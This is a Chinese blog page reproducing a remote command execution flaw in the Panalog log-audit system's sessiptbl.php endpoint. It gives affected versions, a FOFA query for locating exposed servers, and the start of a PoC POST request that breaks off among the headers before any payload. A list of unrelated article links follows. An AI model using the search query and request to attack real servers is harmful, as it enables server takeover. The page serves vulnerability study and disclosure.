当前位置： 首页 > news >正文

Panalog 日志审计系统 sessiptbl.php 前台RCE漏洞复现

news 来源：原创 2024/5/9 19:06:02

0x01 产品简介

Panalog是一款日志审计系统，方便用户统一集中监控、管理在网的海量设备。

0x02 漏洞概述

Panalog日志审计系统 sessiptbl.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。

0x03 影响范围

version <= MARS r10p1Free

0x04 复现环境

FOFA：app="Panabit-Panalog"

0x05 漏洞复现

PoC

POST /sessiptbl.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Enco

相关文章：

  • 蓝桥杯（Web大学组）2022国赛真题：水果消消乐
  • Python学习之路-爬虫进阶:爬虫框架雏形
  • 构建智慧交通平台：架构设计与实现
  • Python爬虫——解析库安装（1）
  • 【操作系统】Ubuntu Swap内存扩容
  • 【30秒看懂大数据】数据标准
  • AlmaLinux更换鼠标样式为Windows样式
  • WordPress函数wptexturize的介绍及用法示例，字符串替换为HTML实体
  • 随机过程及应用学习笔记（四） 马尔可夫过程
  • LLVM实战之LLVM bitcode转换成目标平台汇编码
  • 【30秒看懂大数据】数据中台
  • 不到1s生成mesh! 高效文生3D框架AToM
  • Java学习网络编程
  • Apache 神禹（shenyu）源码阅读（三）——被网关路由的后端服务 Client 向 Admin 注册的数据传输（Client端）
  • 计算机网络概述习题拾遗
  • SegmentFault for Android 3.0 发布
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列（实验阶段398-2018.11.14）...
  • ES6系列（二）变量的解构赋值
  • github从入门到放弃(1)
  • happypack两次报错的问题
  • HTML5新特性总结
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • javascript数组去重/查找/插入/删除
  • Java新版本的开发已正式进入轨道，版本号18.3
  • Mybatis初体验
  • nodejs调试方法
  • OpenStack安装流程（juno版）- 添加网络服务（neutron）- controller节点
  • spring security oauth2 password授权模式
  • Travix是如何部署应用程序到Kubernetes上的
  • webpack入门学习手记（二）
  • 笨办法学C 练习34：动态数组
  • 测试如何在敏捷团队中工作？
  • 买一台 iPhone X，还是创建一家未来的独角兽？
  • 每天一个设计模式之命令模式
  • 嵌入式文件系统
  • 算法-图和图算法
  • 它承受着该等级不该有的简单， leetcode 564 寻找最近的回文数
  • 一份游戏开发学习路线
  • 移动端 h5开发相关内容总结(三)
  • 远离DoS攻击 Windows Server 2016发布DNS政策
  • 选择阿里云数据库HBase版十大理由
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • (1)bark-ml
  • （7）STL算法之交换赋值
  • (Matlab)基于蝙蝠算法实现电力系统经济调度
  • (TipsTricks)用客户端模板精简JavaScript代码
  • （八）c52学习之旅-中断实验
  • （五）Python 垃圾回收机制
  • （学习日记）2024.01.09
  • （一）Dubbo快速入门、介绍、使用
  • （一）u-boot-nand.bin的下载
  • (转)shell中括号的特殊用法 linux if多条件判断
  • .NET Core 实现 Redis 批量查询指定格式的Key
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • @RequestBody的使用